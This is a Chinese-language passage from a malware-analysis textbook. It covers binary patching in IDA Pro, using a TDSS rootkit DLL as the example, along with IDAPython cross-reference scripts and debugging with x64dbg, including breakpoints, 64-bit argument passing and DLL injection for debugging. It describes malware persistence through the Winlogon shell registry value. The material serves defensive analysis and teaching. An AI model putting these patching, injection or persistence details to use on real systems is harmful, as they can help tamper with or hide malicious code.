现在,将鼠标光标放在变量名(aSpoolsv_exe)上。这时,十六进制视图窗口应与此地址同步。现在,点击 Hex View-1 标签,显示此内存地址的十六进制和 ASCII 转储。要修补字节,选择 编辑 | 修补程序 | 更改字节;这将弹出修补字节的对话框,如下图所示。你可以通过在 字段中输入新的字节值来修改原始字节。地址 字段表示光标位置的虚拟地址,文件偏移量 字段指定字节在二进制文件中所在位置的偏移量。原始值 字段显示当前地址的原始字节,即使你修改了值,这个字段的值也不会改变:

你所做的修改会应用到 IDA 数据库中;要将更改应用到原始可执行文件,可以选择 编辑 | 修补程序 | 应用补丁到输入文件。以下屏幕截图显示了 应用补丁到输入文件 对话框。当你点击 确定 时,更改将应用到原始文件;你可以通过勾选 创建备份 选项来保留原始文件的备份;在这种情况下,原始文件将保存为 .bak 扩展名:

前面的示例展示了如何修补字节;以相同的方式,你可以通过选择 编辑 | 修补程序 | 更改字 来一次修补 一个字(2 字节)。你还可以通过右键单击字节并选择 编辑F2)来从 十六进制视图 窗口修改字节,然后再次右键单击并选择 应用更改F2)来应用更改。

4.2 修补指令

在前面的示例中,*TDSS *rootkit DLL 进行了检查,看它是否在 spoolsv.exe 下运行。我们修改了程序中的字节,使 DLL 可以在 notepad.exe 下运行,而不是 spoolsv.exe。如果你想反转逻辑,使 DLL 可以在任何进程下运行(而不是 spoolsv.exe)怎么办?为此,我们可以通过选择 编辑 | 修补程序 | 汇编,如下面的屏幕截图所示,将 jnz 指令改为 jz。这样将反转逻辑,并导致程序在 DLL 在 spoolsv.exe 下运行时不表现任何行为,而在 DLL 在任何其他进程下运行时则表现恶意行为。更改指令后,当你点击 确定 时,指令将被汇编,但对话框仍然保持打开状态,提示你在下一个地址汇编另一个指令。如果你没有更多指令要汇编,可以点击 取消 按钮。要将更改应用到原始文件,请选择 编辑 | 修补程序 | 应用补丁到输入文件,并按照之前提到的步骤操作:

在修补指令时,需要确保指令对齐正确;否则,修补后的程序可能会表现出意想不到的行为。如果新的指令比你替换的指令短,可以插入nop指令来保持对齐不变。如果你正在组装的指令比被替换的指令长,IDA 将覆盖后续指令的字节,这可能不是你想要的行为:

5. IDA 脚本和插件

IDA 提供了脚本功能,可以访问 IDA 数据库的内容。通过脚本功能,你可以自动化一些常见任务和复杂的分析操作。IDA 支持两种脚本语言:IDC,这是一种内建的原生语言(语法类似于 C),以及通过IDAPython的 Python 脚本功能。2017 年 9 月,Hex-Rays 发布了兼容 IDA 7.0 及更高版本的 IDAPython API 新版本。本节将带你了解使用 IDAPython 的脚本功能;本节展示的 IDAPython 脚本利用了新的 IDAPython API,这意味着如果你使用的是较老版本的 IDA(低于 IDA 7.0),这些脚本将无法运行。在你熟悉 IDA 和逆向工程概念之后,你可能希望自动化任务,以下资源将帮助你开始使用IDAPython脚本:

5.1 执行 IDA 脚本

脚本可以通过不同的方式执行。你可以通过选择文件 | 脚本文件来执行独立的IDCIDAPython脚本。如果你只想执行少量语句而不是创建脚本文件,可以选择文件 | 脚本命令(Shift + F2),然后从下拉菜单中选择合适的脚本语言(IDC 或 Python),如下所示。运行以下脚本命令后,当前光标位置的虚拟地址和给定地址的反汇编文本将在输出窗口中显示:

执行脚本命令的另一种方式是直接在 IDA 的命令行中输入命令,该命令行位于输出窗口下方,如下所示:

5.2 IDAPython

IDAPython 是一套强大的 Python 绑定工具,适用于 IDA。它将 Python 的强大功能与 IDA 的分析特性结合起来,提供了更强大的脚本编写能力。IDAPython 包含三个模块:idaapi,用于访问 IDA API;idautils,提供 IDA 的高级实用功能;以及 idc,一个 IDC 兼容模块。大多数 IDAPython 函数接受 地址 作为参数,而在阅读 IDAPython 文档时,你会发现该地址通常被称为 ea。许多 IDAPython 函数会返回地址;一个常见的函数是 idc.get_screen_ea(),它获取当前光标位置的地址:

Python>ea = idc.get_screen_ea()
Python>print hex(ea)
0x40206a

以下代码片段展示了如何将 idc.get_screen_ea() 返回的地址传递给 idc.get_segm_name() 函数,以确定与该地址相关联的段的名称:

Python>ea = idc.get_screen_ea()
Python>idc.get_segm_name(ea)
.text

在以下代码片段中,idc.get_screen_ea() 返回的地址被传递给 idc.generate_disasm_line() 函数,以生成反汇编文本:

Python>ea = idc.get_screen_ea()
Python>idc.generate_disasm_line(ea,0)
push ebp

在以下代码中,idc.get_screen_ea() 函数返回的地址被传递给 idc.get_func_name(),以确定与该地址相关联的函数名称。更多示例,请参考 Alexander Hanel 的《IDAPython 初学者指南》一书(leanpub.com/IDAPython-Book):

Python>ea = idc.get_screen_ea()
Python>idc.get_func_name(ea)
_main

在恶意软件分析中,通常你会想知道恶意软件是否导入了特定的函数(或函数),例如 CreateFile,以及该函数在代码中被调用的位置。你可以通过之前介绍的 交叉引用 功能来实现这一点。为了让你更好地理解 IDAPython,以下示例演示了如何使用 IDAPython 检查 CreateFile API 的存在,并识别对 CreateFile 的交叉引用。

5.2.1 检查 CreateFile API 的存在

如果你还记得,在反汇编过程中,IDA 会尝试通过使用模式匹配算法来判断反汇编函数是库函数还是导入函数。它还会从符号表中推导出函数名称列表;这些推导出的名称可以通过使用名称窗口来访问(通过视图 | 打开子视图 | 名称或 Shift + F4)。名称窗口包含了导入、导出、库函数和命名数据位置的列表。以下截图显示了名称窗口中的 CreateFileA API 函数:

你还可以通过编程方式访问命名的项。以下 IDAPython 脚本通过迭代每个命名项来检查 CreateFile API 函数的存在:

import idautils
for addr, name in idautils.Names():
      if "CreateFile" in name:
             print hex(addr),name

上述脚本调用了 idautils.Names() 函数,该函数返回一个命名项(元组),其中包含虚拟地址名称。对命名项进行迭代,并检查是否存在 CreateFile。运行该脚本返回 CreateFileA API 的地址,如下所示。在下面的代码片段中,导入函数的代码位于共享库(DLL)中,只有在运行时才会加载,因此以下代码片段中的地址 (0x407010) 是关联的导入表项的虚拟地址(而不是 CreateFileA 函数代码的地址)。

0x407010      CreateFileA

确定 CreateFileA 函数是否存在的另一种方法是使用以下代码。idc.get_name_ea_simple() 函数返回 CreateFileA 的虚拟地址。如果 CreateFileA 不存在,则返回 -1idaapi.BADADDR):

import idc
import idautils

ea = idc.get_name_ea_simple("CreateFileA")
if ea != idaapi.BADADDR:
    print hex(ea), idc.generate_disasm_line(ea,0)
else:
    print "Not Found"

5.2.2 使用 IDAPython 查找 CreateFile 的代码交叉引用

在识别了对 CreateFileA 函数的引用后,我们来尝试识别对 CreateFileA 函数的交叉引用Xrefs to);这将给出所有调用 CreateFileA 的地址。以下脚本在之前的基础上进行了扩展,识别了对 CreateFileA 函数的交叉引用:

import idc
import idautils

ea = idc.get_name_ea_simple("CreateFileA")
if ea != idaapi.BADADDR:
    for ref in idautils.CodeRefsTo(ea, 1):
        print hex(ref), idc.generate_disasm_line(ref,0)

以下是运行前述脚本后的输出结果。输出显示了所有调用 CreateFileA API 函数的指令:

0x401161   call  ds:CreateFileA
0x4011aa   call  ds:CreateFileA
0x4013fb   call  ds:CreateFileA
0x401c4d   call  ds:CreateFileA
0x401f2d   call  ds:CreateFileA
0x401fb2   call  ds:CreateFileA

5.3 IDA 插件

IDA 插件大大增强了 IDA 的功能,而且大多数为 IDA 开发的第三方软件都是以插件的形式分发的。对于恶意软件分析师和逆向工程师来说,一个非常有价值的商业插件是 Hex-Rays Decompilerwww.hex-rays.com/products/decompiler/)。这个反编译器将处理器代码转化为人类可读的类似 C 的伪代码,使得阅读代码更加容易,并且能够加快分析速度。

查找一些有趣插件的最佳地点是 Hex-Rays 插件竞赛页面:www.hex-rays.com/contests/index.shtml。你还可以在 github.com/onethawt/idaplugins-list 上找到有用的 IDA 插件列表。

6. 总结

本章介绍了IDA Pro:它的特点以及如何使用它进行静态代码分析(反汇编)。在本章中,我们还介绍了一些与 Windows API 相关的概念。结合你从上一章获得的知识,并利用 IDA 提供的功能,可以大大增强你的逆向工程和恶意软件分析能力。尽管反汇编允许我们理解程序的功能,但大多数变量并不是硬编码的,它们只有在程序执行时才会被填充。在下一章中,你将学习如何借助调试器以受控方式执行恶意软件,并学习如何在程序在调试器下执行时探索二进制文件的各个方面。

第六章:调试恶意二进制文件

调试是一种以受控方式执行恶意代码的技术。调试器是一种程序,它使您能够在更细粒度的层面上检查恶意代码。它提供了对恶意软件运行时行为的完全控制,并允许您执行单个指令多个指令选择函数(而不是执行整个程序),同时研究恶意软件的每个动作。

本章中,您将主要学习IDA Pro(商业反汇编器/调试器)x64dbg(开源 x32/x64 调试器)提供的调试功能。您将了解这些调试器提供的功能,以及如何使用它们检查程序的运行时行为。根据可用的资源,您可以选择使用其中任何一个调试器或同时使用两者来调试恶意二进制文件。在调试恶意软件时,需要特别小心,因为您将会在系统上运行恶意代码。强烈建议您在隔离的环境中进行任何恶意软件的调试(如第一章《恶意软件分析简介》中所述)。在本章结束时,您还将看到如何使用.NET 反编译器/调试器dnSpygithub.com/0xd4d/dnSpy)调试.NET 应用程序。

其他流行的反汇编器/调试器包括radare2rada.re/r/index.html),WinDbg(Windows 调试工具的一部分,docs.microsoft.com/en-us/windows-hardware/drivers/debugger/),Ollydbgwww.ollydbg.de/version2.html),Immunity Debuggerwww.immunityinc.com/products/debugger/),Hopperwww.hopperapp.com/),和Binary Ninjabinary.ninja/)。

1. 一般调试概念

在我们深入了解这些调试器(IDA Prox64dbgDnSpy)提供的功能之前,了解大多数调试器提供的一些常见功能是很重要的。在本节中,您将主要看到一般的调试概念;在后续章节中,我们将重点介绍IDA Prox64dbgdnSpy的核心功能。

1.1 启动和附加到进程

调试通常从选择要调试的程序开始。有两种方法可以调试程序:(a) 将调试器附加到正在运行的进程,以及 (b) 启动一个新进程。当你将调试器附加到正在运行的进程时,你将无法控制或监控进程的初始动作,因为在你有机会附加到进程时,它的所有启动和初始化代码已经执行完毕。当你将调试器附加到进程时,调试器会暂停进程,给你机会检查进程的资源或设置断点,然后再恢复进程的执行。

另一方面,启动一个新进程可以让你监控或调试进程的每个动作,你还将能够监控进程的初始操作。当你启动调试器时,原始二进制文件将在运行调试器的用户权限下执行。当进程在调试器下启动时,执行将在 程序的入口点 暂停。程序的入口点是将要执行的第一条指令的地址。在后续章节中,你将学习如何使用 IDA Prox64dbgdnSpy启动附加 进程。

程序的入口点不一定是 mainWinMain 函数;在将控制权转交给 mainWinMain 之前,会执行初始化例程(启动例程)。启动例程的目的是在将控制权传递给 main 函数之前初始化程序的环境。调试器将此初始化过程指定为程序的入口点。

1.2 控制进程执行

调试器使你能够在进程执行时控制/修改其行为。调试器提供的两个重要功能是:(a) 控制执行的能力,以及 (b) 中断执行的能力(使用断点)。使用调试器时,你可以在将控制权返回给调试器之前执行一条或多条指令(或选择函数)。在分析过程中,你将结合调试器的控制执行和中断(断点)功能来监控恶意软件的行为。在本节中,你将了解调试器提供的常见 执行控制 功能;在后续章节中,你将学习如何在 IDA Prox64dbgdnSpy 中使用这些功能。

以下是调试器提供的一些常见执行控制选项:

  • 继续(运行): 这将执行所有指令,直到到达断点或发生异常。当你将恶意软件加载到调试器中并使用 继续(运行) 选项而不设置断点时,它将执行所有指令而不给你任何控制;因此,你通常会将此选项与断点一起使用,在断点位置中断程序。

  • 进入和跳过:通过使用进入跳过,你可以执行一条指令。执行完这条指令后,调试器会暂停,给你一个机会检查进程的资源。进入跳过的区别出现在你执行一条调用函数的指令时。例如,在以下代码中,在➊处有对函数sub_401000的调用。当你在这条指令上使用进入选项时,调试器会在函数的开始处(地址0x401000)停下来,而当你使用跳过时,整个函数会被执行,调试器会在下一条指令(➋,即地址0x00401018)处暂停。通常,当你想深入了解一个函数的内部实现时,使用进入;而当你已经知道一个函数的作用(例如一个 API 函数),并且希望跳过它时,使用跳过

.text:00401010     push  ebp
.text:00401011     mov   ebp, esp
.text:00401013     call  sub_401000  ➊
.text:00401018     xor   eax,eax  ➋
  • 执行直到返回(运行直到返回):这个选项允许你执行当前函数中的所有指令,直到它返回。这在你不小心进入了一个函数(或者进入了一个不感兴趣的函数)时很有用,能够让你快速退出。使用这个选项时,调试器会一直执行到函数的结尾(retretn),然后你可以使用进入跳过选项返回到调用该函数的地方。

  • 运行到光标(运行直到选择):这个选项允许你执行指令,直到当前光标位置,或者直到选择的指令被到达。

1.3 使用断点中断程序

断点 是一种调试器功能,允许你在程序中的特定位置中断程序的执行。断点可以用来暂停程序执行在某一特定指令处,或者在程序调用函数/API 函数时,或者在程序从某个内存地址读取、写入或执行时。你可以在程序的各个位置设置多个断点,程序执行将会在到达任何一个断点时被中断。到达断点后,可以监控/修改进程的各个方面。调试器通常允许你设置不同类型的断点:

  • 软件断点:默认情况下,调试器使用软件断点。软件断点通过将断点地址处的指令替换为软件断点指令(如int 3指令,操作码为0xCC)来实现。当软件断点指令(如int 3)被执行时,控制权会转移到调试器,调试器将调试被中断的进程。使用软件断点的优点是你可以设置无限数量的断点。缺点是恶意软件可以查找断点指令(int 3),并修改它,从而改变附加调试器的正常操作。

  • 硬件断点:像 x86 这样的 CPU 通过使用 CPU 的调试寄存器 DR0 - DR7 支持硬件断点。你最多可以使用 DR0-DR3 设置四个硬件断点;其他剩余的调试寄存器用于指定每个断点的附加条件。在硬件断点的情况下,没有指令被替换,而是由 CPU 根据调试寄存器中的值来决定是否中断程序。

  • 内存断点:这些断点允许你在指令访问(读取写入)内存时暂停执行,而不是在执行时暂停。这在你想知道何时访问特定内存(读取写入)以及知道哪条指令访问它时非常有用。例如,如果你在内存中发现一个有趣的字符串或数据,你可以在该地址设置内存断点,以确定在什么情况下该内存被访问。

  • 条件断点:使用条件断点,你可以指定必须满足的条件,以触发断点。如果条件断点被触及但条件未满足,调试器会自动恢复程序的执行。条件断点不是指令功能或 CPU 功能;它们是调试器提供的功能。因此,你可以为软件和硬件断点指定条件。设置条件断点时,由调试器负责评估条件表达式,并确定是否需要中断程序。

1.4 程序执行跟踪

跟踪 是一种调试功能,允许你在进程执行时记录(日志)特定事件。跟踪为你提供有关二进制文件的详细执行信息。在后续章节中,你将了解 IDAx64dbg 提供的不同类型的跟踪功能。

2. 调试二进制文件使用 x64dbg

x64dbg (x64dbg.com) 是一个开源调试器。你可以使用 x64dbg 调试 32 位和 64 位应用程序。它具有易于使用的 GUI,并提供各种调试功能 (x64dbg.com/#features)。

在本节中,你将看到一些 x64dbg 提供的调试功能,以及如何使用它来调试恶意二进制文件。

2.1 在 x64dbg 中启动新进程

x64dbg中,要加载一个可执行文件,选择文件 | 打开,并浏览到你希望调试的文件;这将启动进程,调试器会根据配置设置在系统断点TLS 回调程序入口点函数处暂停。你可以通过选择选项 | 偏好设置 | 事件来访问设置对话框。默认设置对话框如下所示,显示了加载可执行文件时的默认设置。调试器首先会在系统函数处中断(因为选中了系统断点选项)。接着,在你运行调试器后,它会在TLS 回调函数处暂停(如果存在的话,因为选中了TLS 回调选项)。有时这很有用,因为一些反调试技巧包含 TLS 条目,允许恶意软件在主应用程序运行之前执行代码。如果你继续执行程序,执行会在程序的入口点处暂停:

如果你希望执行在程序入口点直接暂停,那么取消选中系统断点和 TLS 回调选项(此配置对大多数恶意软件程序应该有效,除非恶意软件使用反调试技巧)。要保存配置设置,只需点击保存按钮。通过此配置,当加载可执行文件时,进程开始执行,并在程序入口点暂停,如下所示:

2.2 使用 x64dbg 附加到现有进程

要附加到现有的进程中,在x64dbg中选择文件 | 附加(或Alt + A);这将弹出一个对话框,显示正在运行的进程,如下所示。选择你希望调试的进程,并点击附加按钮。当调试器附加后,进程会被挂起,给你时间设置断点并检查进程的资源。当你关闭调试器时,附加的进程将终止。如果你不希望附加的进程终止,可以通过选择文件 | 分离(Ctrl + Alt + F2)来分离进程;这确保在你关闭调试器时,附加的进程不会终止:

有时,当你尝试将调试器附加到进程时,你会发现并非所有进程都列在对话框中。在这种情况下,确保你以管理员身份运行调试器;你需要通过选择选项 | 偏好设置,在引擎标签页中勾选启用调试权限选项,来启用调试权限设置。

2.3 x64dbg 调试器界面

当你在x64dbg中加载一个程序时,会出现调试器显示,如下所示。调试器显示包含多个标签页;每个标签页显示不同的窗口。每个窗口包含有关被调试二进制文件的不同信息:

  • 反汇编窗口(CPU 窗口):此窗口显示调试程序所有指令的反汇编。反汇编以线性方式呈现,并与当前的指令指针寄存器(eiprip)的值同步。该窗口的左侧部分显示一个箭头,以指示程序的非线性流程(例如分支循环)。您可以通过按下G热键来显示控制流图。控制流图如下所示;条件跳转使用绿色红色箭头。绿色箭头表示当条件为真时会跳转,红色箭头表示跳转不会发生。蓝色箭头用于无条件跳转,向上的(向后的)蓝色箭头表示循环:

  • 寄存器窗口:此窗口显示 CPU 寄存器的当前状态。可以通过双击寄存器并输入新值来修改寄存器的值(您也可以右键单击寄存器并将其值修改为,或递增/递减寄存器的值)。您可以通过双击标志位的值来切换标志位的开启关闭状态。您不能更改指令指针(eiprip)的值。在调试程序时,寄存器的值可能会发生变化;调试器通过红色高亮寄存器值,表示自上次指令以来的变化。

  • 堆栈窗口堆栈视图显示进程运行时堆栈的数据内容。在恶意软件分析中,通常会在调用函数之前检查堆栈,以确定传递给函数的参数个数及参数类型(例如整数字符指针)。

  • 转储窗口:此窗口显示内存的标准十六进制转储。您可以使用转储窗口查看调试进程中任何有效内存地址的内容。例如,如果堆栈位置、寄存器或指令包含有效的内存位置,要查看该内存位置,请右键点击地址并选择“在转储中跟踪”选项。

  • 内存映射窗口:您可以点击“内存映射”标签,显示内存映射窗口的内容。此窗口提供进程内存的布局,并显示进程中已分配内存段的详细信息。它是查看可执行文件及其各个部分加载到内存中的位置的好方法。此窗口还包含有关进程 DLL 及其内存部分的信息。您可以双击任何条目,将显示定位到相应的内存位置:

  • 符号窗口:你可以点击符号标签以显示符号窗口的内容。左侧窗格显示已加载模块的列表(可执行文件及其 DLL);点击某个模块条目将在右侧窗格显示该模块的导入导出函数,如下所示。此窗口有助于确定导入和导出函数在内存中的位置:

  • 引用窗口:此窗口显示 API 调用的引用。默认情况下,点击引用标签不会显示 API 的引用。要填充此窗口,请右键单击反汇编(CPU)窗口中的任何位置(确保已加载可执行文件),然后选择 搜索 | 当前模块 | 模块间调用;这将把所有程序中 API 调用的引用填充到引用窗口中。以下截图显示了多个 API 函数的引用;第一项告诉你,在地址0x00401C4D,该指令调用了CreateFileA API(由Kernel32.dll导出)。双击该条目将带你到相应的地址(在此例中为0x00401C4D)。你还可以在该地址设置断点;一旦命中断点,你可以检查传递给CreateFileA函数的参数:

  • 句柄窗口:你可以点击句柄标签打开句柄窗口;要显示内容,右键点击句柄窗口内部并选择刷新(或按F5)。这将显示所有打开的句柄的详细信息。在前一章中,当我们讨论 Windows API 时,你了解到进程可以打开指向某个对象(如文件注册表等)的句柄,这些句柄可以传递给函数,例如WriteFile,以执行后续操作。当你检查 API 时,句柄会非常有用,像WriteFile这样的 API 会告诉你与句柄相关联的对象。例如,在调试恶意软件样本时,发现WriteFile API 调用接受句柄值0x50。检查句柄窗口显示句柄值0x50与文件ka4a8213.log关联,如下所示:

  • 线程窗口:此窗口显示当前进程中的线程列表。你可以右键点击此窗口并挂起一个或多个线程,或恢复已挂起的线程。

2.4 使用 x64dbg 控制进程执行

在第1.2 节控制进程执行中,我们讨论了调试器提供的不同执行控制功能。以下表格概述了常见的执行选项及如何在x64dbg中访问这些选项:

功能 快捷键 菜单
运行 F9 调试器 | 运行
单步进入 F7 调试器 | 单步进入
单步跳过 F8 调试器 | 单步跳过
运行直到选择 F4 调试器 | 运行直到选择

2.5 在 x64dbg 中设置断点

x64dbg中,你可以通过导航到你希望程序暂停的地址并按 F2 键(或者右键点击并选择 断点 | 切换)来设置软件断点。要设置硬件断点,右键点击你希望设置断点的位置,并选择 断点 | 设置硬件执行断点。

你还可以使用硬件断点来在写入时或者在内存位置的读/写(访问)时进行断点。要在内存访问上设置硬件断点,在转储面板中,右键点击所需的地址,选择 断点 | 硬件,访问,然后选择适当的数据类型(例如字节、字、双字或四字),如下面的截图所示。同样,你也可以通过选择 断点 | 硬件,写入 选项来设置硬件断点,以进行内存写入:

除了硬件内存断点外,你还可以以相同的方式设置内存断点。为此,在转储面板中,右键点击所需的地址,选择 断点 | 内存,访问(用于内存访问)或 断点 | 内存,写入(用于内存写入)。

要查看所有活动的断点,只需点击“断点”标签;这会列出“断点”窗口中所有的软件、硬件和内存断点。你也可以在“断点”窗口中的任何指令上右键点击,移除单个断点,或者移除所有断点。

有关* x64dbg 中可用选项的更多信息,请参考x64dbg的在线文档:x64dbg.readthedocs.io/en/latest/index.html。你也可以通过在x64dbg界面中按 F1 来访问x64dbg*帮助手册。

2.6 调试 32 位恶意软件

了解了调试功能后,接下来我们来看调试如何帮助我们理解恶意软件的行为。考虑到一个恶意软件样本的代码片段,其中恶意软件调用CreateFileA函数创建文件。为了确定它创建的文件名,你可以在调用CreateFileA函数的地方设置断点,并执行程序直到到达断点。当执行到达断点时(也就是在调用CreateFileA之前),所有的函数参数都会被压入栈中;然后我们可以检查栈中的第一个参数以确定文件名。在下图中,当执行在断点处暂停时,x64dbg会在指令旁边和栈中的参数旁边添加一个注释(如果是字符串的话),以指示传递给函数的参数是什么。从截图中可以看出,恶意软件在%Appdata%\Microsoft目录下创建了一个可执行文件winlogdate.exe。你也可以通过右键点击栈窗口中的第一个参数,选择“在转储中查看 DWORD”选项,来显示十六进制窗口中的内容,获取这些信息:

创建可执行文件后,恶意软件将CreateFile返回的句柄值(0x54)作为第一个参数传递给WriteFile,并写入可执行内容(作为第二个参数传递),如下所示:

假设你不知道哪个对象与句柄0x54相关联,可能是因为你直接在WriteFile上设置了断点,而没有最初在CreateFile上设置断点。要确定与句柄值相关联的对象,可以在句柄窗口中查找。在此案例中,作为第一个参数传递给WriteFile的句柄值0x54,与winlogdate.exe相关联,如下所示:

2.7 调试 64 位恶意软件

你将使用相同的技巧来调试 64 位恶意软件;区别在于,你将处理扩展寄存器64 位内存地址/指针和略有不同的调用约定。如果你还记得(来自第四章,汇编语言与反汇编入门),64 位代码使用FASTCALL调用约定,并将前四个参数传递给函数的寄存器(rcxrdxr8r9),其余的参数则放在栈上。在调试调用函数/API 时,依据你检查的参数,你需要检查寄存器。前面提到的调用约定适用于编译器生成的代码。攻击者编写的汇编语言代码不必遵循这些规则;因此,代码可能表现出不寻常的行为。当你遇到非编译器生成的代码时,可能需要进一步调查该代码。

在我们调试 64 位恶意软件之前,让我们先通过下面这个简单的 C 程序来了解 64 位二进制文件的行为,该程序是使用Microsoft Visual C/C++ 编译器为 64 位平台编译的:

int main()
{
  printf("%d%d%d%d%s%s%s", 1, 2, 3, 4, "this", "is", "test");
  return 0;
}

在上面的程序中,printf函数接受八个参数;该程序在x64dbg中编译并打开,并且在printf函数处设置了断点。以下截图显示了程序,在调用printf函数之前暂停。在寄存器窗口中,你可以看到前四个参数已放置在rcxrdxr8r9寄存器中。当程序调用一个函数时,该函数会在栈上保留0x2032 字节)的空间(为四个项目保留每个8 字节的空间);这是为了确保调用的函数在需要保存寄存器参数(rcxrdxr8r9)时有足够的空间。这就是为什么接下来的四个参数(第 5、6、7、8 个参数)会放置在栈上,从第五个项目(rsp+0x20)开始。我们给你展示这个例子是为了让你了解如何在栈上找到参数:

对于 32 位函数,堆栈在参数被 压入 时增长,在项被 弹出 时收缩。对于 64 位函数,堆栈空间在函数开始时分配,并且直到函数结束之前不会改变。分配的堆栈空间用于存储局部变量和函数参数。在前面的截图中,注意第一条指令 sub rsp,48 如何在堆栈上分配了 0x4872)字节的空间,在函数中间之后没有再分配堆栈空间;此外,pushpop 指令没有使用,改为使用 mov 指令将第 5、6、7、8 个参数放入堆栈(在前面的截图中已突出显示)。没有 pushpop 指令使得确定函数接受的参数数量变得困难,而且也很难判断内存地址是作为局部变量还是作为函数的参数使用。另一个挑战是,如果在函数调用之前,值已经移入了寄存器 rcxrdx,那么很难判断它们是作为参数传递给函数的,还是被移入寄存器用于其他目的。

即使在反向工程一个 64 位二进制文件时遇到一些挑战,你也不应该遇到太多困难来分析 API 调用,因为 API 文档告诉你 函数参数的数量参数的数据类型 以及它们返回的 数据类型。一旦你知道在哪里找到函数参数和返回值,你可以在 API 调用处设置断点,检查其参数,以了解恶意软件的功能。

让我们看一个 64 位恶意软件示例,它调用 RegSetValueEx 来设置注册表中的某些值。在下图中,断点在调用 RegSetValueEx 之前被触发。你需要查看寄存器和堆栈窗口中的值(如前所述),以检查传递给函数的参数;这将帮助你确定恶意软件设置了哪个注册表值。在 x64dbg 中,获取函数参数的最快方法是查看默认窗口(在寄存器窗口下方),该窗口在以下截图中被突出显示。你可以在默认窗口中设置一个值来显示参数的数量。在下图中,值设置为 6,因为从 API 文档中(msdn.microsoft.com/en-us/library/windows/desktop/ms724923(v=vs.85).aspx)可以看出,RegSetValueEx API 有 6 个参数:

第一个参数值0x2c是打开注册表键的句柄。恶意软件可以通过调用RegCreateKeyRegOpenKeyAPI 打开注册表键的句柄。从句柄窗口中,您可以看到句柄值0x2c与以下截图中显示的注册表键相关联。通过句柄信息,并检查第 1、2 和 5 个参数,您可以知道恶意软件修改了注册表键HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\shell,并添加了一个条目"explorer.exe,logoninit.exe"。在干净的系统上,此注册表键指向explorer.exe(默认的 Windows shell)。当系统启动时,Userinit.exe进程使用此值启动 Windows shell(explorer.exe)。通过添加logoninit.exe,以及explorer.exe,恶意软件确保Userinit.exe也启动了logoninit.exe;这是恶意软件使用的另一种持久性机制:

此时,您应该已经了解如何调试恶意可执行文件以了解其功能。在下一节中,您将学习如何调试恶意 DLL 以确定其行为。

2.8 使用 x64dbg 调试恶意 DLL

在第三章,动态分析中,您学习了执行 DLL 以执行动态分析的技术。在本节中,您将使用在第三章动态分析中学到的一些概念来使用x64dbg调试 DLL。如果您还不熟悉 DLL 的动态分析,强烈建议在继续之前阅读第三章动态分析中的第六部分动态链接库(DLL)分析

要调试 DLL,请启动x64dbg(最好具有管理员权限)并加载 DLL(通过文件 | 打开)。当您加载 DLL 时,x64dbg会在与 DLL 位于同一目录的地方放置一个可执行文件(名为DLLLoader32_xxxx.exe,其中xxxx是随机的十六进制字符),此可执行文件充当通用主机进程,将用于执行您的 DLL(与rundll32.exe相同的方式)。加载 DLL 后,调试器可能会在系统断点TLS 回调DLL 入口点函数处暂停,具体取决于配置设置(在在 x64dbg 中启动新进程部分中提到)。如果未选中系统断点TLS 回调选项,则在加载 DLL 时会在DLL 的入口点处暂停执行,如下截图所示。现在,您可以像调试其他程序一样调试 DLL:

2.8.1 使用 rundll32.exe 在 x64dbg 中调试 DLL

另一种有效的方法是使用rundll32.exe来调试 DLL(假设你想要调试一个名为rasaut.dll的恶意软件 DLL)。为此,首先从系统 32 目录(通过文件 | 打开)加载rundll32.exe到调试器中,这将在系统断点rundll32.exe入口点(取决于之前提到的设置)处暂停调试器。然后,选择调试 | 更改命令行,并指定rundll32.exe的命令行参数(指定 DLL 的完整路径和导出函数),如下所示,并单击确定:

接下来,选择断点选项卡,在断点窗口内右键单击,并选择添加 DLL 断点选项,这将弹出一个对话框窗口提示您输入模块名称。输入 DLL 名称(在本例中为rasaut.dll),如下所示。这将告诉调试器在加载 DLL(rasaut.dll)时中断。配置这些设置后,关闭调试器:

接下来,重新打开调试器并再次加载rundll32.exe;当您再次加载时,之前的命令行设置仍将保持不变。现在,选择调试 | 运行(F9),直到您在 DLL 的入口点中断(您可能需要多次选择运行(F9),直到达到 DLL 入口点)。您可以通过查看断点地址旁的注释,每次运行(F9)时跟踪执行暂停的位置。您还可以在eip寄存器旁找到相同的注释。在下面的屏幕截图中,您可以看到执行已在rasaut.dll的入口点处暂停。在这一点上,您可以像调试任何其他程序一样调试 DLL。您还可以在 DLL 导出的任何函数上设置断点。您可以使用符号窗口找到导出函数;在找到所需的导出函数后,双击它(这将带您到反汇编窗口中导出函数的代码)。然后,在所需地址处设置断点:

2.8.2 在特定进程中调试 DLL

有时,您可能希望调试仅在特定进程(如explorer.exe)中运行的 DLL。该过程类似于前一节中介绍的过程。首先,使用 x64dbg启动进程附加到所需的主机进程;这将暂停调试器。通过选择 Debug | Run (F9)允许进程运行。接下来,选择 Breakpoints 选项卡,在 Breakpoints 窗口内右键单击,并选择 Add DLL breakpoint 选项,这将弹出一个对话框提示您输入模块名称。输入 DLL 名称(如前一节中介绍的),这将告诉调试器在加载 DLL 时中断。现在,您需要将 DLL 注入到主机进程中。可以使用类似RemoteDLLsecurityxploded.com/remotedll.php)的工具来完成此操作。当 DLL 加载时,调试器将在ntdll.dll中的某处暂停;只需连续运行(F9)直到达到注入的 DLL 的入口点(可能需要多次运行才能到达入口点)。您可以通过查看断点地址旁边或前一节中提到的eip寄存器旁边的注释来跟踪每次运行(F9)时暂停的执行位置。

2.9 在 x64dbg 中跟踪执行

跟踪允许您在进程执行时记录事件。x64dbg 支持跟踪进入跟踪覆盖条件跟踪选项。您可以通过 Trace | Trace into (Ctrl+Alt+F7)和Trace | Trace over (Ctrl+Alt+F8)访问这些选项。在跟踪进入中,调试器通过设置步入断点内部跟踪程序,直到条件满足或达到最大步数。在跟踪覆盖中,调试器通过设置步过断点跟踪程序,直到条件满足或达到最大步数。以下屏幕截图显示了跟踪进入对话框(跟踪覆盖对话框中提供相同选项)。要跟踪日志,至少需要指定log text和将跟踪事件重定向到的日志文件的完整路径(通过 Log File 按钮):

以下包括一些字段的简要描述:

  • 断点条件:您可以在此字段中指定条件。此字段默认为0false)。要指定条件,您需要指定任何有效表达式(x64dbg.readthedocs.io/en/latest/introduction/Expressions.html)来评估为非零值(true)。评估为非零值的表达式被视为true,从而触发断点。调试器通过评估提供的表达式继续跟踪,并在满足指定条件时停止。如果条件不满足,则跟踪将继续直到达到最大跟踪计数

  • 日志文本:此字段用于指定将用于记录日志文件中跟踪事件的格式。此字段可以使用的有效格式在help.x64dbg.com/en/latest/introduction/Formatting.html中列出。

